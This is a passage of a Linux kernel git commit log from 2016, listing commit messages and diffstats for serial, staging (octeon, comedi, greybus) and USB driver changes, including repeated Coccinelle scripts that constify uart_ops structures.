| 9 ++++----- 4 files changed, 15 insertions(+), 17 deletions(-) commit 46e36683f433528bfb7e5754ca5c5c86c204c40a Author: Alexander Sverdlin Date: Fri Sep 2 13:20:21 2016 +0200 serial: earlycon: Extend earlycon command line option to support 64-bit addresses earlycon implementation used "unsigned long" internally, but there are systems (ARM with LPAE) where sizeof(unsigned long) == 4 and uart is mapped beyond 4GiB address range. Switch to resource_size_t internally and replace obsoleted simple_strtoul() with kstrtoull(). Signed-off-by: Alexander Sverdlin Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_core.c | 2 +- drivers/tty/serial/earlycon.c | 7 +++---- drivers/tty/serial/serial_core.c | 12 +++++++++--- include/linux/serial_core.h | 2 +- 4 files changed, 14 insertions(+), 9 deletions(-) commit 8f975fe49dba5d15a828f34ad8ec3dc8beb60ca0 Author: Baoyou Xie Date: Thu Sep 1 19:43:31 2016 +0800 tty/serial: mark __init early_smh_setup() static We get 1 warning when building kernel with W=1: drivers/tty/serial/earlycon-arm-semihost.c:56:12: warning: no previous prototype for 'early_smh_setup' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/earlycon-arm-semihost.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e06b6b854163a7f9931d6e0d859b9378a23fe7af Author: Kefeng Wang Date: Wed Aug 31 11:29:12 2016 +0800 serial: 8250_dw: add ACPI support for uart on Hisilicon Hip05 SoC Add ACPI identifier for UART on Hisilicon Hip05 SoC, be careful that it is not 16550 compatible, and "reg-io-width" and "reg-shift" need be set properly by _DSD method in DSDT. Signed-off-by: Kefeng Wang Acked-by: Heikki Krogerus Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_dw.c | 1 + 1 file changed, 1 insertion(+) commit f3bf26326f1cd27b498b44618855512b2f19769b Author: Andy Shevchenko Date: Wed Aug 31 19:46:56 2016 +0300 serial: 8250_port: unify check of em485 variable Unify the check of em485 variable to be either (em485) or (!em485) instead of the explicit comparison to NULL. While here, remove redundant check in __do_stop_tx_rs485() and __stop_tx_rs485() since the functions ain't called with NULL value of em485 variable. Cc: "Matwey V. Kornilov" Tested-by: Yegor Yefremov Signed-off-by: Andy Shevchenko Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_port.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit b3965767d86cf4534dfe1affbde0453d3224ed7f Author: Andy Shevchenko Date: Wed Aug 31 19:46:55 2016 +0300 serial: 8250_port: fix runtime PM use in __do_stop_tx_rs485() There are calls to serial8250_rpm_{get|put}() in __do_stop_tx_rs485() that are certainly placed in a wrong location. I dunno how it had been tested with runtime PM enabled because it is obvious "sleep in atomic context" error. Besides that serial8250_rpm_get() is called immediately after an IO just happened. It implies that the device is already powered on, see implementation of serial8250_em485_rts_after_send() and serial8250_clear_fifos() for the details. There is no bug have been seen due to, as I can guess, use of auto suspend mode when scheduled transaction to suspend is invoked quite lately than it's needed for a few writes to the port. It might be possible to trigger a warning if stop_tx_timer fires when device is suspended. Refactor the code to use runtime PM only in case of timer function. Fixes: 0c66940d584d ("tty/serial/8250: fix RS485 half-duplex RX") Cc: "Matwey V. Kornilov" Tested-by: Yegor Yefremov Signed-off-by: Andy Shevchenko Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_port.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 1c06bde643d0a0b17f117539e961300cad69aad3 Author: Martyn Welch Date: Thu Sep 1 11:30:46 2016 +0200 Allowing UART DMA to be configured on i.MX53 The UART DMA was only being configured on i.MX6Q compatible devices. We know that the DMA also works for i.MX53 devices, so enable uart DMA for imx53 and let the device tree to configure if DMA should be used or not. Signed-off-by: Martyn Welch Signed-off-by: Fabien Lahoudere Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/imx.c | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) commit 31d054dccc2cd840fb1e17e97021b92b3402c701 Author: Julia Lawall Date: Thu Sep 1 19:51:37 2016 +0200 serial-uartlite: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/uartlite.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f098a0ae62f7eb7cef27bd83245d798bd45b428d Author: Julia Lawall Date: Thu Sep 1 19:51:36 2016 +0200 tty: xuartps: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/xilinx_uartps.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 069a47e5adfd5a1544c3c6d87a36889a691ea156 Author: Julia Lawall Date: Thu Sep 1 19:51:35 2016 +0200 tty: serial: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 4 ++-- drivers/tty/serial/imx.c | 2 +- drivers/tty/serial/max3100.c | 2 +- drivers/tty/serial/men_z135_uart.c | 2 +- drivers/tty/serial/mxs-auart.c | 2 +- drivers/tty/serial/pch_uart.c | 2 +- drivers/tty/serial/sh-sci.c | 2 +- drivers/tty/serial/timbuart.c | 2 +- 8 files changed, 9 insertions(+), 9 deletions(-) commit 5d9b9530e36bca7cd8306c5097623692e1134c39 Author: Julia Lawall Date: Thu Sep 1 19:51:34 2016 +0200 tty: serial: jsm_tty: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Gabriel Krisman Bertazi Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/jsm/jsm_tty.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1f1d8703a098b17c12da840a23b4c6a36aa27c72 Author: Julia Lawall Date: Thu Sep 1 19:51:33 2016 +0200 serial/bcm63xx_uart: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/bcm63xx_uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 03bd797f33ddbe1d14de7abc70a9dd21b2a12d3f Author: Julia Lawall Date: Thu Sep 1 19:51:32 2016 +0200 serial: altera: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Tobias Klauser Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/altera_jtaguart.c | 2 +- drivers/tty/serial/altera_uart.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 5c7dcdb60d88e4d68bc59eff7c6a5c418808552b Author: Julia Lawall Date: Thu Sep 1 19:51:31 2016 +0200 tty/serial: at91: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/atmel_serial.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eeb8bc1a92751557d3eea69d54e1b422569e7238 Author: Julia Lawall Date: Thu Sep 1 19:51:30 2016 +0200 serial: st-asc: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Peter Griffin Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/st-asc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aa652b1ccbd0d3a9cd4ecdec6d36935f78c838da Author: Javier Martinez Canillas Date: Fri Sep 2 01:46:34 2016 +0200 staging: octeon: Use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Acked-by: David Daney Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8292b4de4ee67aa4524b05c7980b94a8b2ce2f80 Author: Louie Lu Date: Fri Sep 2 18:15:40 2016 +0800 staging: rtl8172: fixed comment style in rts871x_cmd.c Fixed comment style warning by checkpatch: * Block comments use * on subsequent lines * Block comments use a trailing */ on a separate line Signed-off-by: Louie Lu Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl871x_cmd.c | 46 +++++++++++++++++++---------------- 1 file changed, 25 insertions(+), 21 deletions(-) commit 8f8064e4ccc0579dae927246dd00b7ac6d6ffd89 Author: Louie Lu Date: Fri Sep 2 18:15:07 2016 +0800 staging: rtl8712: delete one space before if statement This patch fixed minor checkpatch warning: WARNING: Statements should start on a tabstop Signed-off-by: Louie Lu Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/os_intfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d48f10fc616a82c8e761753fd6edf6b6f6b66bec Author: Aaro Koskinen Date: Wed Aug 31 23:57:46 2016 +0300 staging: octeon: prevent poll during rx init Prevent poll before the RX init has been completed. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 6 ++++++ 1 file changed, 6 insertions(+) commit ce060d8af33c0dee3c20510a39f6284f8d90614e Author: Aaro Koskinen Date: Wed Aug 31 23:57:45 2016 +0300 staging: octeon: set up pknd for all interfaces RX path uses pknd to find the correct device, and we maintain 1:1 port to pknd mapping. However, this is only set for XAUI interfaces (in the arch code). But it should be set for all interface types. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 2 ++ 1 file changed, 2 insertions(+) commit 5cf9b1ca7be93f6e92dee955eeb274575e5ab40e Author: Aaro Koskinen Date: Wed Aug 31 23:57:44 2016 +0300 staging: octeon: enable taking multiple rx groups into use Enable taking multiple RX groups into use. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 49 +++++++++++++++++++++++++++++++++++++-- 1 file changed, 47 insertions(+), 2 deletions(-) commit e971a119f713ae3bedbd7fb45efb1121537d9f26 Author: Aaro Koskinen Date: Wed Aug 31 23:57:43 2016 +0300 staging: octeon: support enabling multiple rx groups Support enabling multiple RX groups. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 126 ++++++++++++++++++------------- drivers/staging/octeon/ethernet.c | 6 +- drivers/staging/octeon/octeon-ethernet.h | 2 +- 3 files changed, 81 insertions(+), 53 deletions(-) commit 942bab48e6165fa8eb8949b73b9ff6ba8608adf2 Author: Aaro Koskinen Date: Wed Aug 31 23:57:42 2016 +0300 staging: octeon: move group number into rx group data Move group number into RX group data. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit 9382cfe1338289f40ed1af479b358103f56f5eec Author: Aaro Koskinen Date: Wed Aug 31 23:57:41 2016 +0300 staging: octeon: move irq into rx group specific data Move IRQ number into RX group specific data. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 785e9b7d3febcfeb461efe528320c753640d6fb4 Author: Aaro Koskinen Date: Wed Aug 31 23:57:40 2016 +0300 staging: octeon: create a struct for rx group specific data Create a struct for RX group specific data. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit b7d7dee5bf136010fae44209daf6675dc4c5c4c6 Author: Aaro Koskinen Date: Wed Aug 31 23:57:39 2016 +0300 staging: octeon: move common poll code into a separate function Move common poll code into a separate function. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 29 +++++++++++++++++++---------- 1 file changed, 19 insertions(+), 10 deletions(-) commit 08712f9de1013ed360d489fc185d962dfd6be7cf Author: Aaro Koskinen Date: Wed Aug 31 23:57:38 2016 +0300 staging: octeon: pass the NAPI instance reference to irq handler Pass the NAPI instance reference to the interrupt handler. This is preparation for having multiple NAPI instances. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 513ff86386f6ba2ea5769f1ab3383036ab53d9f0 Author: Aaro Koskinen Date: Wed Aug 31 23:57:37 2016 +0300 staging: octeon: use passed interrupt number in the handler Use passed interrupt number in the handler, so we can avoid using the global variable. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 287faa5e6bce2123dd28eafe7876dd56e9091bfa Author: Aaro Koskinen Date: Wed Aug 31 23:57:36 2016 +0300 staging: octeon: disable rx interrupts in oct_rx_shutdown Disable RX interrupts in oct_rx_shutdown(). This way we don't need to expose the RX IRQ numbers outside the RX module. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 9 +++++++++ drivers/staging/octeon/ethernet.c | 9 --------- 2 files changed, 9 insertions(+), 9 deletions(-) commit a554d48a063be2a0d85af3f5cebc23c5ffbad85e Author: Anson Jacob Date: Fri Sep 2 01:08:42 2016 -0400 staging: i4l: act2000: Remove braces for single statement Fix checkpatch.pl warning: braces {} are not necessary for single statement blocks Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/act2000_isa.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e994608150803215f01adc2c699dabee9d295191 Author: Laura Abbott Date: Thu Sep 1 15:40:41 2016 -0700 staging: android: ion: Drop heap type masks There is no advantage to having heap types be a mask. The ion client has long since dropped the mask. Drop the notion of heap type masks as well. Signed-off-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/uapi/ion.h | 6 ------ 1 file changed, 6 deletions(-) commit 9f963096984d0296ce821727310e3cf923b1ef8d Author: Anson Jacob Date: Fri Aug 26 19:14:35 2016 -0400 staging: comedi: cb_pcidas64: Fix checkpath warning Fix checkpatch.pl warning: Please use a blank line after function/struct/union/enum declarations Move macro definition to the top of the file Aligne macro definitions Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/cb_pcidas64.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4281c748d6dfe81fe6a8d9b06847a11545b71000 Author: Anson Jacob Date: Fri Aug 26 19:14:23 2016 -0400 staging: comedi: ni_at_a2150: Fix checkpatch warning Fix checkpatch.pl warning 'line over 80 characters' Remove extra space after /* Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_at_a2150.c | 170 ++++++++++++++------------- 1 file changed, 89 insertions(+), 81 deletions(-) commit d5e59c967830f99eb10100039cdc2e2d7e12f9c8 Author: Anson Jacob Date: Fri Aug 26 19:14:13 2016 -0400 staging: comedi: jr3_pci.c: Fix checkpatch warning Fix checkpatch.pl warning 'line over 80 characters' Remove extra space after /* Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/jr3_pci.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 1c454fabc215ec247f540e9b94d6a70cbe469c17 Author: Anson Jacob Date: Fri Aug 26 19:14:00 2016 -0400 staging: comedi: s626.h: Fix checkpatch warning Fix checkpatch.pl warning for Comparisons should place the constant on the right side of the test Remove extra space after /* Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/s626.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit da91a80a946f903ac71e0b93cd21f9448d9c692d Author: Anson Jacob Date: Fri Aug 26 19:13:49 2016 -0400 staging: comedi: ni_atmio.c: Fix checkpatch warning Fix checkpatch.pl warning for 'Statements should start on a tabstop' Convert single line block comment to single line comment Align single line comment Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_atmio.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit f8d791f2abfee69d47a2d4596e909e83acdec2b4 Author: Anson Jacob Date: Fri Aug 26 19:13:36 2016 -0400 staging: comedi: jr3_pci.h: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Block comments starts with /* followed by comments on the next line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/jr3_pci.h | 290 ++++++++++++++++++------------- 1 file changed, 172 insertions(+), 118 deletions(-) commit 12f992adeb6bb1b3cc8c7190cb5b927c8ed9cc33 Author: Anson Jacob Date: Fri Aug 26 19:13:04 2016 -0400 staging: comedi: cb_pcidas64: Fix commenting style Remove additional space after /* Convert single line block comment into single line comment Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/cb_pcidas64.c | 431 +++++++++++++-------------- 1 file changed, 214 insertions(+), 217 deletions(-) commit 28fec2e65f70a20082834f6f6cdbfa94545d2668 Author: Anson Jacob Date: Fri Aug 26 19:12:52 2016 -0400 staging: comedi: cb_pcidas64.c: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/cb_pcidas64.c | 148 ++++++++++++++------------- 1 file changed, 77 insertions(+), 71 deletions(-) commit 3112fdde68fa4a3b0b3a3a738f9f32b4d62fdf05 Author: Javier Martinez Canillas Date: Thu Aug 18 09:45:05 2016 -0400 usb: gadget: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Acked-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman drivers/usb/gadget/udc/omap_udc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f7b7f375491b0016004b2c50118160de57908278 Author: Javier Martinez Canillas Date: Thu Aug 18 09:45:04 2016 -0400 usb: core: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: Greg Kroah-Hartman drivers/usb/core/hcd.c | 2 +- drivers/usb/core/otg_whitelist.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 272291008fc55e7692f3219b0f85ee1e6ffdea71 Author: Greg Kroah-Hartman Date: Wed Aug 17 17:11:04 2016 +0200 greybus: es2: fix up usb probe error messages Properly report which endpoints are being ignored and which ones are "unknown" to the driver. Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 35 +++++++++++++++++++++++------------ 1 file changed, 23 insertions(+), 12 deletions(-) commit 1521eb6b6995dd8db57c96d36bc3c64b2a7da3b1 Author: Greg Kroah-Hartman Date: Wed Aug 17 16:44:11 2016 +0200 greybus: es2: No need to check before freeing an urb usb_kill_urb() and usb_free_urb() can be called with NULL pointers, so no need to check before calling them. Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit fc994f0f8363eb4c50361800c7d2217eb0306014 Author: Greg Kroah-Hartman Date: Wed Aug 17 13:21:51 2016 +0200 greybus: es2: remove unneeded BULK_* #defines We don't need the defines for the number of bulk in or out endpoints anymore, as the driver just grabs the first ones it finds and runs with it. Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) commit 7330c48ec09367e8da65e3ebf642b6c37bf244e3 Author: Greg Kroah-Hartman Date: Wed Aug 17 16:37:39 2016 +0200 greybus: es2: remove bulk_in array We only care about one bulk IN endpoint for cports, and one for ARPC, so drop the array of bulk IN endpoints to simplify things. Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 93 ++++++++++++++++++------------------------- 1 file changed, 38 insertions(+), 55 deletions(-) commit 403074b50b66f1a6cd038bd9f60119d69916a928 Author: Greg Kroah-Hartman Date: Wed Aug 17 16:27:49 2016 +0200 greybus: es2: remove bulk_out array We only care about one bulk out endpoint, the first one, so remove the pretense of keeping an array of these things. Just grab the first one in the list and run away! Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 24 +++++++++--------------- 1 file changed, 9 insertions(+), 15 deletions(-) commit 84d5077cae3e00611b7da6491f363e6ed95e073a Author: Greg Kroah-Hartman Date: Wed Aug 17 11:10:37 2016 +0200 greybus: es2: remove struct cport_to_ep We were not really using this structure at all, it was only returning '0' when asked what cport matched to what pair, so remove it all. Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 35 +---------------------------------- 1 file changed, 1 insertion(+), 34 deletions(-) commit b6c1bd3a8e466759fbfd2a649a9058d51ff136c0 Author: Greg Kroah-Hartman Date: Wed Aug 17 11:07:28 2016 +0200 greybus: es2: remove #if 0 code These functions were never used, and we are about to remove the structures it was trying to reference, so let's remove it to get it out of the way. Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 59 ------------------------------------------- 1 file changed, 59 deletions(-) commit 4de02894a28bfc0e3315fc364b3310aacd8cd48a Author: Sandeep Patil Date: Mon Aug 15 14:20:54 2016 -0700 greybus: es2: use a single bulk ep pair for all greybus data This matches a corresponding firmware change to declare a single BULK EP pair for all greybus traffic and 1 BULK IN ep for ARPC. Thus, avoiding URB submittions for all the other unused BULK IN endpoints on the HOST side that took considerable amount of bus time. Testing Done: Tested with modified AP<->APB1 loopback test and also with GPBridge modules to ensure there are no regressions Signed-off-by: Sandeep Patil Reviewed-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6fa4d3d5bbbd32dd7d70868c48abd7818134efa7 Author: Johan Hovold Date: Wed Aug 31 10:58:53 2016 +0200 greybus: greybus_protocols: remove svc key-event type Remove the deprecated svc key-event type, which has already been removed from the specification. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 1 - 1 file changed, 1 deletion(-) commit 4e013b64c1ee3a60438caa0df6bf79664e0272bc Author: Philip Yang Date: Wed Aug 31 11:11:18 2016 +0800 greybus: power_supply: Add runtime pm support Modify Power_supply greybus driver to support runtime PM framework. During charging state, the driver will block remote device of suspending, and then enables runtime suspend when remote device is in none chargin state. Testing Done: Compiled and verified on EVT2, EVT2 1x2 GPB test module and Device class daughter board. Signed-off-by: Philip Yang Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 62 ++++++++++++++++++++++++++++++++-- 1 file changed, 59 insertions(+), 3 deletions(-) commit 6a57ddc97acb2a1d37ce94a237dc0fab2e5a3f5b Author: Vaibhav Agarwal Date: Thu Sep 1 11:38:42 2016 +0530 greybus: audio: Avoid reporting spurious button events Now jack-button are registered to snd framework based on capabilities populated by codec module's topology data. Thus, valid ids for button events can also vary for different modules. This patch modifies existing button reporting mechanism to avoid reporting spurious button events for invalid button ids. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit cec89df44692fa8cff2a52542b11878ee49b0d69 Author: Vaibhav Agarwal Date: Thu Sep 1 11:38:41 2016 +0530 greybus: audio: Report jack events conditionally Now jack & jack-buttons are registered to snd_jack framework based on the capability shared by module's topology data. Thus, jack events should be reported to above snd framework only in case corresponding jack type is registered. This patch adds additional checks to avoid reporting fake jack events. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 36 +++++++++++++++++++++++++++------- 1 file changed, 29 insertions(+), 7 deletions(-) commit 847175e8e660045f9366e7efd091969e8f32cc0c Author: Vaibhav Agarwal Date: Thu Sep 1 11:38:40 2016 +0530 greybus: audio: Fetch jack_mask, button_mask from module's topology data Added extra fields namely jack_mask & button_mask for each module_info. These fields are required while registering jack & reporting jack events. Earlier, these were hard coded values assuming fixed capabilities say HEADSET, LINEOUT, etc. supported by GB-codec driver. Now these are computed dynamically based on module's jack capability shared via topology data. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 68 +++++++++++++++++++++----------- drivers/staging/greybus/audio_codec.h | 8 ++-- drivers/staging/greybus/audio_module.c | 15 ++++--- drivers/staging/greybus/audio_topology.c | 7 ++++ 4 files changed, 63 insertions(+), 35 deletions(-) commit a695c302b49c8bf10b5336585a533d363d6436db Author: Vaibhav Agarwal Date: Thu Sep 1 11:38:39 2016 +0530 greybus: audio: Added jack_type support in topology struct This patch adds extra field jack_type to gb_audio_topology struct. Also, it defines bit fields to be used by module while defining it's jack and jack-button capabilities. 